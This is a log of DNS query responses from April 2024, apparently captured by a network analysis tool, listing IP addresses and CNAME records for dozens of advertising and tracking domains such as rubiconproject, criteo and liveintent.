Apr 11, 2024 23:27:07.602507114 CEST	1.1.1.1	192.168.2.17	0xd23	No error (0)	ib.anycast.adnxs.com		68.67.160.186	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.649033070 CEST	1.1.1.1	192.168.2.17	0xd018	No error (0)	fastlane.rubiconproject.com	tagged-by.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:07.660732985 CEST	1.1.1.1	192.168.2.17	0xdde6	No error (0)	fastlane.rubiconproject.com	tagged-by.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:07.753448009 CEST	1.1.1.1	192.168.2.17	0xd026	No error (0)	prebid-server.rubiconproject.com	prebid-server.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:07.754494905 CEST	1.1.1.1	192.168.2.17	0x20a6	No error (0)	prebid-server.rubiconproject.com	prebid-server.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:07.908804893 CEST	1.1.1.1	192.168.2.17	0xa6ba	No error (0)	hbopenbid.pubmatic.com	hbprebid-v3.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:07.908804893 CEST	1.1.1.1	192.168.2.17	0xa6ba	No error (0)	hbprebid-v3.pubmnet.com	gob-pairb-nje1.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:07.908804893 CEST	1.1.1.1	192.168.2.17	0xa6ba	No error (0)	gob-pairb-nje1.pubmnet.com		207.65.37.179	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.908853054 CEST	1.1.1.1	192.168.2.17	0x3c09	No error (0)	pdmp.dcapi.tagger.opecloud.com		50.16.98.63	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.908853054 CEST	1.1.1.1	192.168.2.17	0x3c09	No error (0)	pdmp.dcapi.tagger.opecloud.com		18.235.68.94	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.908853054 CEST	1.1.1.1	192.168.2.17	0x3c09	No error (0)	pdmp.dcapi.tagger.opecloud.com		52.207.139.163	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.909899950 CEST	1.1.1.1	192.168.2.17	0x6f2d	No error (0)	sync.intentiq.com		108.139.47.105	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.909899950 CEST	1.1.1.1	192.168.2.17	0x6f2d	No error (0)	sync.intentiq.com		108.139.47.49	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.909899950 CEST	1.1.1.1	192.168.2.17	0x6f2d	No error (0)	sync.intentiq.com		108.139.47.93	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.909899950 CEST	1.1.1.1	192.168.2.17	0x6f2d	No error (0)	sync.intentiq.com		108.139.47.46	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.910084009 CEST	1.1.1.1	192.168.2.17	0x5fc7	No error (0)	hbopenbid.pubmatic.com	hbprebid-v3.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:07.910084009 CEST	1.1.1.1	192.168.2.17	0x5fc7	No error (0)	hbprebid-v3.pubmnet.com	gob-pairb-nje1.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:07.966377974 CEST	1.1.1.1	192.168.2.17	0xa7e0	No error (0)	thrtle.com		18.210.184.52	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.966377974 CEST	1.1.1.1	192.168.2.17	0xa7e0	No error (0)	thrtle.com		34.196.45.220	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.966377974 CEST	1.1.1.1	192.168.2.17	0xa7e0	No error (0)	thrtle.com		52.71.183.211	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.966377974 CEST	1.1.1.1	192.168.2.17	0xa7e0	No error (0)	thrtle.com		23.23.211.17	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.966377974 CEST	1.1.1.1	192.168.2.17	0xa7e0	No error (0)	thrtle.com		52.205.146.210	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.966377974 CEST	1.1.1.1	192.168.2.17	0xa7e0	No error (0)	thrtle.com		34.233.107.28	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.021369934 CEST	1.1.1.1	192.168.2.17	0xef5c	No error (0)	dis.criteo.com	widget.us5.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:08.021369934 CEST	1.1.1.1	192.168.2.17	0xef5c	No error (0)	widget.us5.vip.prod.criteo.com		74.119.117.16	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.021406889 CEST	1.1.1.1	192.168.2.17	0x14e1	No error (0)	dis.criteo.com	widget.us5.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:08.024729967 CEST	1.1.1.1	192.168.2.17	0x58ee	No error (0)	ad.mrtnsvr.com		34.102.163.6	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.040767908 CEST	1.1.1.1	192.168.2.17	0xe934	No error (0)	a.tribalfusion.com		104.18.25.173	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.040767908 CEST	1.1.1.1	192.168.2.17	0xe934	No error (0)	a.tribalfusion.com		104.18.24.173	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.041157961 CEST	1.1.1.1	192.168.2.17	0x6519	No error (0)	a.tribalfusion.com			65	IN (0x0001)	false
Apr 11, 2024 23:27:08.044066906 CEST	1.1.1.1	192.168.2.17	0xca39	No error (0)	ums.acuityplatform.com		69.90.254.78	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.069849014 CEST	1.1.1.1	192.168.2.17	0xda35	No error (0)	sync.mathtag.com	pixel-origin.mathtag.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:08.070648909 CEST	1.1.1.1	192.168.2.17	0xda17	No error (0)	sync.mathtag.com	pixel-origin.mathtag.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:08.070648909 CEST	1.1.1.1	192.168.2.17	0xda17	No error (0)	pixel-origin.mathtag.com		216.200.232.249	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.070648909 CEST	1.1.1.1	192.168.2.17	0xda17	No error (0)	pixel-origin.mathtag.com		216.200.232.253	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.070648909 CEST	1.1.1.1	192.168.2.17	0xda17	No error (0)	pixel-origin.mathtag.com		74.121.140.211	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.073076963 CEST	1.1.1.1	192.168.2.17	0x26ee	No error (0)	csync.loopme.me	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:08.073076963 CEST	1.1.1.1	192.168.2.17	0x26ee	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.244.198	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.073076963 CEST	1.1.1.1	192.168.2.17	0x26ee	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.244.54	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.073076963 CEST	1.1.1.1	192.168.2.17	0x26ee	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.143.40	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.073076963 CEST	1.1.1.1	192.168.2.17	0x26ee	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.133.165	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.073076963 CEST	1.1.1.1	192.168.2.17	0x26ee	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.197.130	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.073076963 CEST	1.1.1.1	192.168.2.17	0x26ee	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.222.198	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.073076963 CEST	1.1.1.1	192.168.2.17	0x26ee	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.174.160	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.073076963 CEST	1.1.1.1	192.168.2.17	0x26ee	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.237.3	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.073076963 CEST	1.1.1.1	192.168.2.17	0x26ee	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.215.69	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.073076963 CEST	1.1.1.1	192.168.2.17	0x26ee	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.130.228	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.073548079 CEST	1.1.1.1	192.168.2.17	0x2542	No error (0)	csync.loopme.me	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:08.075340033 CEST	1.1.1.1	192.168.2.17	0xcc9a	No error (0)	gocm.c.appier.net	gocm-geo.c.appier.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:08.075839043 CEST	1.1.1.1	192.168.2.17	0x8619	No error (0)	core.iprom.net		195.5.165.20	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.076245070 CEST	1.1.1.1	192.168.2.17	0x5e0	No error (0)	gocm.c.appier.net	gocm-geo.c.appier.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:08.077423096 CEST	1.1.1.1	192.168.2.17	0x9fd4	No error (0)	cs.iqzone.com		8.2.111.13	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.083647013 CEST	1.1.1.1	192.168.2.17	0x9a8f	No error (0)	ipac.ctnsnet.com		35.186.193.173	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.084779024 CEST	1.1.1.1	192.168.2.17	0xca29	No error (0)	matching.truffle.bid		162.55.120.196	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.084779024 CEST	1.1.1.1	192.168.2.17	0xca29	No error (0)	matching.truffle.bid		23.88.86.2	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.091651917 CEST	1.1.1.1	192.168.2.17	0xe0ce	No error (0)	px.owneriq.net	wildcard.owneriq.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:08.091841936 CEST	1.1.1.1	192.168.2.17	0xd9f1	No error (0)	px.owneriq.net	wildcard.owneriq.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:08.105696917 CEST	1.1.1.1	192.168.2.17	0xedb	No error (0)	synchroscript.deliveryengine.adswizz.com		18.238.55.15	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.105696917 CEST	1.1.1.1	192.168.2.17	0xedb	No error (0)	synchroscript.deliveryengine.adswizz.com		18.238.55.58	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.105696917 CEST	1.1.1.1	192.168.2.17	0xedb	No error (0)	synchroscript.deliveryengine.adswizz.com		18.238.55.37	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.105696917 CEST	1.1.1.1	192.168.2.17	0xedb	No error (0)	synchroscript.deliveryengine.adswizz.com		18.238.55.69	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.105901003 CEST	1.1.1.1	192.168.2.17	0xb937	No error (0)	idsync.rlcdn.com		35.244.154.8	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.107579947 CEST	1.1.1.1	192.168.2.17	0x537a	No error (0)	bcp.crwdcntrl.net		44.195.233.246	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.107579947 CEST	1.1.1.1	192.168.2.17	0x537a	No error (0)	bcp.crwdcntrl.net		54.83.194.95	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.107579947 CEST	1.1.1.1	192.168.2.17	0x537a	No error (0)	bcp.crwdcntrl.net		18.214.198.116	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.107579947 CEST	1.1.1.1	192.168.2.17	0x537a	No error (0)	bcp.crwdcntrl.net		44.207.99.96	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.107579947 CEST	1.1.1.1	192.168.2.17	0x537a	No error (0)	bcp.crwdcntrl.net		3.223.165.164	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.107579947 CEST	1.1.1.1	192.168.2.17	0x537a	No error (0)	bcp.crwdcntrl.net		34.205.179.33	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.107579947 CEST	1.1.1.1	192.168.2.17	0x537a	No error (0)	bcp.crwdcntrl.net		54.81.163.163	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.107579947 CEST	1.1.1.1	192.168.2.17	0x537a	No error (0)	bcp.crwdcntrl.net		50.19.235.224	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.114370108 CEST	1.1.1.1	192.168.2.17	0x5cd1	No error (0)	match.adsby.bidtheatre.com		64.227.64.62	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.114370108 CEST	1.1.1.1	192.168.2.17	0x5cd1	No error (0)	match.adsby.bidtheatre.com		134.122.57.34	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.114370108 CEST	1.1.1.1	192.168.2.17	0x5cd1	No error (0)	match.adsby.bidtheatre.com		188.166.17.21	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.730612993 CEST	1.1.1.1	192.168.2.17	0x1d5c	No error (0)	aa.agkn.com	d20qwf0wrdtevy.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:08.730612993 CEST	1.1.1.1	192.168.2.17	0x1d5c	No error (0)	d20qwf0wrdtevy.cloudfront.net		18.238.55.87	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.730612993 CEST	1.1.1.1	192.168.2.17	0x1d5c	No error (0)	d20qwf0wrdtevy.cloudfront.net		18.238.55.113	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.730612993 CEST	1.1.1.1	192.168.2.17	0x1d5c	No error (0)	d20qwf0wrdtevy.cloudfront.net		18.238.55.8	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.730612993 CEST	1.1.1.1	192.168.2.17	0x1d5c	No error (0)	d20qwf0wrdtevy.cloudfront.net		18.238.55.23	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.731653929 CEST	1.1.1.1	192.168.2.17	0x2996	No error (0)	aa.agkn.com	d20qwf0wrdtevy.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:08.732045889 CEST	1.1.1.1	192.168.2.17	0x3e81	No error (0)	stags.bluekai.com	tags.bluekai.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:08.732140064 CEST	1.1.1.1	192.168.2.17	0x713	No error (0)	stags.bluekai.com	tags.bluekai.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:08.732233047 CEST	1.1.1.1	192.168.2.17	0xa1f6	No error (0)	bpi.rtactivate.com	rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:08.732749939 CEST	1.1.1.1	192.168.2.17	0x5b83	No error (0)	idpix.media6degrees.com	idpix.media6degrees.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:08.732749939 CEST	1.1.1.1	192.168.2.17	0x5b83	No error (0)	map.media6degrees.com	map.media6degrees.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:08.732763052 CEST	1.1.1.1	192.168.2.17	0xc8c7	No error (0)	bpi.rtactivate.com	rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:08.732763052 CEST	1.1.1.1	192.168.2.17	0xc8c7	No error (0)	rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com		44.208.175.93	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.732763052 CEST	1.1.1.1	192.168.2.17	0xc8c7	No error (0)	rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com		44.205.128.45	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.732763052 CEST	1.1.1.1	192.168.2.17	0xc8c7	No error (0)	rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com		54.209.155.255	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.732763052 CEST	1.1.1.1	192.168.2.17	0xc8c7	No error (0)	rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com		34.203.95.36	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.735778093 CEST	1.1.1.1	192.168.2.17	0xea81	No error (0)	idpix.media6degrees.com	idpix.media6degrees.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:08.735778093 CEST	1.1.1.1	192.168.2.17	0xea81	No error (0)	map.media6degrees.com	map.media6degrees.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:08.747029066 CEST	1.1.1.1	192.168.2.17	0x1a70	No error (0)	pdmp.papi-public.us-east-1.tagger.opecloud.com	pdmp.profiles.tagger.opecloud.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:08.747029066 CEST	1.1.1.1	192.168.2.17	0x1a70	No error (0)	pdmp.profiles.tagger.opecloud.com		34.239.40.49	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.747029066 CEST	1.1.1.1	192.168.2.17	0x1a70	No error (0)	pdmp.profiles.tagger.opecloud.com		34.233.81.87	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:08.747508049 CEST	1.1.1.1	192.168.2.17	0x4d31	No error (0)	pdmp.papi-public.us-east-1.tagger.opecloud.com	pdmp.profiles.tagger.opecloud.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:08.809926987 CEST	1.1.1.1	192.168.2.17	0xd86	No error (0)	s0.2mdn.net		142.250.72.102	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:09.001936913 CEST	1.1.1.1	192.168.2.17	0x4638	No error (0)	pagead-googlehosted.l.google.com		142.250.65.225	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:09.363030910 CEST	1.1.1.1	192.168.2.17	0x6ca8	No error (0)	match.sharethrough.com	match-us-east-1-ecs.sharethrough.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:09.363214970 CEST	1.1.1.1	192.168.2.17	0xef25	No error (0)	match.sharethrough.com	match-us-east-1-ecs.sharethrough.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:09.363214970 CEST	1.1.1.1	192.168.2.17	0xef25	No error (0)	match-us-east-1-ecs.sharethrough.com		18.213.14.175	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:09.363214970 CEST	1.1.1.1	192.168.2.17	0xef25	No error (0)	match-us-east-1-ecs.sharethrough.com		3.229.35.106	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:09.363214970 CEST	1.1.1.1	192.168.2.17	0xef25	No error (0)	match-us-east-1-ecs.sharethrough.com		34.192.151.117	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:09.363214970 CEST	1.1.1.1	192.168.2.17	0xef25	No error (0)	match-us-east-1-ecs.sharethrough.com		34.206.112.136	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:09.363214970 CEST	1.1.1.1	192.168.2.17	0xef25	No error (0)	match-us-east-1-ecs.sharethrough.com		54.235.140.23	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:09.363214970 CEST	1.1.1.1	192.168.2.17	0xef25	No error (0)	match-us-east-1-ecs.sharethrough.com		34.228.96.208	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:09.363214970 CEST	1.1.1.1	192.168.2.17	0xef25	No error (0)	match-us-east-1-ecs.sharethrough.com		3.223.50.132	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:09.363214970 CEST	1.1.1.1	192.168.2.17	0xef25	No error (0)	match-us-east-1-ecs.sharethrough.com		34.196.141.96	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:09.614908934 CEST	1.1.1.1	192.168.2.17	0x5305	No error (0)	feed.pghub.io		34.102.243.38	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:09.670766115 CEST	1.1.1.1	192.168.2.17	0x3f7a	No error (0)	i.liadm.com	idaas-ext.cph.liveintent.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:09.670766115 CEST	1.1.1.1	192.168.2.17	0x3f7a	No error (0)	idaas-ext.cph.liveintent.com		54.85.176.124	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:09.670766115 CEST	1.1.1.1	192.168.2.17	0x3f7a	No error (0)	idaas-ext.cph.liveintent.com		54.235.88.214	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:09.670766115 CEST	1.1.1.1	192.168.2.17	0x3f7a	No error (0)	idaas-ext.cph.liveintent.com		3.87.234.183	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:09.670766115 CEST	1.1.1.1	192.168.2.17	0x3f7a	No error (0)	idaas-ext.cph.liveintent.com		3.218.6.156	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:09.670766115 CEST	1.1.1.1	192.168.2.17	0x3f7a	No error (0)	idaas-ext.cph.liveintent.com		100.24.188.249	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:09.670766115 CEST	1.1.1.1	192.168.2.17	0x3f7a	No error (0)	idaas-ext.cph.liveintent.com		3.218.113.110	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:09.670766115 CEST	1.1.1.1	192.168.2.17	0x3f7a	No error (0)	idaas-ext.cph.liveintent.com		34.197.153.25	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:09.670766115 CEST	1.1.1.1	192.168.2.17	0x3f7a	No error (0)	idaas-ext.cph.liveintent.com		3.224.87.131	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:09.672295094 CEST	1.1.1.1	192.168.2.17	0x7d3f	No error (0)	i.liadm.com	idaas-ext.cph.liveintent.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:09.673046112 CEST	1.1.1.1	192.168.2.17	0xe9bf	No error (0)	io.narrative.io		52.203.194.106	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:09.673046112 CEST	1.1.1.1	192.168.2.17	0xe9bf	No error (0)	io.narrative.io		3.81.128.26	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:09.673046112 CEST	1.1.1.1	192.168.2.17	0xe9bf	No error (0)	io.narrative.io		54.226.196.42	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:09.673046112 CEST	1.1.1.1	192.168.2.17	0xe9bf	No error (0)	io.narrative.io		52.54.212.148	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:09.690341949 CEST	1.1.1.1	192.168.2.17	0xce13	No error (0)	synchroscript.deliveryengine.adswizz.com		18.238.55.15	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:09.690341949 CEST	1.1.1.1	192.168.2.17	0xce13	No error (0)	synchroscript.deliveryengine.adswizz.com		18.238.55.37	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:09.690341949 CEST	1.1.1.1	192.168.2.17	0xce13	No error (0)	synchroscript.deliveryengine.adswizz.com		18.238.55.69	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:09.690341949 CEST	1.1.1.1	192.168.2.17	0xce13	No error (0)	synchroscript.deliveryengine.adswizz.com		18.238.55.58	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:09.823812008 CEST	1.1.1.1	192.168.2.17	0x2e21	No error (0)	aa.agkn.com	d20qwf0wrdtevy.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:09.823812008 CEST	1.1.1.1	192.168.2.17	0x2e21	No error (0)	d20qwf0wrdtevy.cloudfront.net		18.238.55.87	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:09.823812008 CEST	1.1.1.1	192.168.2.17	0x2e21	No error (0)	d20qwf0wrdtevy.cloudfront.net		18.238.55.113	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:09.823812008 CEST	1.1.1.1	192.168.2.17	0x2e21	No error (0)	d20qwf0wrdtevy.cloudfront.net		18.238.55.23	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:09.823812008 CEST	1.1.1.1	192.168.2.17	0x2e21	No error (0)	d20qwf0wrdtevy.cloudfront.net		18.238.55.8	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:09.824358940 CEST	1.1.1.1	192.168.2.17	0xa05f	No error (0)	aa.agkn.com	d20qwf0wrdtevy.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:10.207499981 CEST	1.1.1.1	192.168.2.17	0x701	No error (0)	bcp.crwdcntrl.net		34.205.179.33	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:10.207499981 CEST	1.1.1.1	192.168.2.17	0x701	No error (0)	bcp.crwdcntrl.net		44.207.99.96	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:10.207499981 CEST	1.1.1.1	192.168.2.17	0x701	No error (0)	bcp.crwdcntrl.net		3.219.94.105	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:10.207499981 CEST	1.1.1.1	192.168.2.17	0x701	No error (0)	bcp.crwdcntrl.net		44.195.233.246	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:10.207499981 CEST	1.1.1.1	192.168.2.17	0x701	No error (0)	bcp.crwdcntrl.net		54.83.194.95	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:10.207499981 CEST	1.1.1.1	192.168.2.17	0x701	No error (0)	bcp.crwdcntrl.net		3.223.165.164	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:10.207499981 CEST	1.1.1.1	192.168.2.17	0x701	No error (0)	bcp.crwdcntrl.net		18.214.198.116	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:10.207499981 CEST	1.1.1.1	192.168.2.17	0x701	No error (0)	bcp.crwdcntrl.net		54.81.163.163	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:10.256239891 CEST	1.1.1.1	192.168.2.17	0x1216	No error (0)	s.tribalfusion.com			65	IN (0x0001)	false
Apr 11, 2024 23:27:10.256990910 CEST	1.1.1.1	192.168.2.17	0x9ef2	No error (0)	s.tribalfusion.com		104.18.25.173	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:10.256990910 CEST	1.1.1.1	192.168.2.17	0x9ef2	No error (0)	s.tribalfusion.com		104.18.24.173	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:10.302459002 CEST	1.1.1.1	192.168.2.17	0x43ab	No error (0)	sync.intentiq.com		108.139.47.105	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:10.302459002 CEST	1.1.1.1	192.168.2.17	0x43ab	No error (0)	sync.intentiq.com		108.139.47.49	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:10.302459002 CEST	1.1.1.1	192.168.2.17	0x43ab	No error (0)	sync.intentiq.com		108.139.47.93	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:10.302459002 CEST	1.1.1.1	192.168.2.17	0x43ab	No error (0)	sync.intentiq.com		108.139.47.46	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:10.706753969 CEST	1.1.1.1	192.168.2.17	0xf61	No error (0)	id.rlcdn.com		35.244.154.8	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:10.709860086 CEST	1.1.1.1	192.168.2.17	0x8b0f	No error (0)	capi.connatix.com	capi.connatix.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:10.710386038 CEST	1.1.1.1	192.168.2.17	0x6ec7	No error (0)	capi.connatix.com	capi.connatix.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:10.711905956 CEST	1.1.1.1	192.168.2.17	0x4155	No error (0)	pmp.mxptint.net		38.68.201.140	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:10.713783979 CEST	1.1.1.1	192.168.2.17	0x3b88	No error (0)	bpi.rtactivate.com	rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:10.713860989 CEST	1.1.1.1	192.168.2.17	0x8861	No error (0)	bpi.rtactivate.com	rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
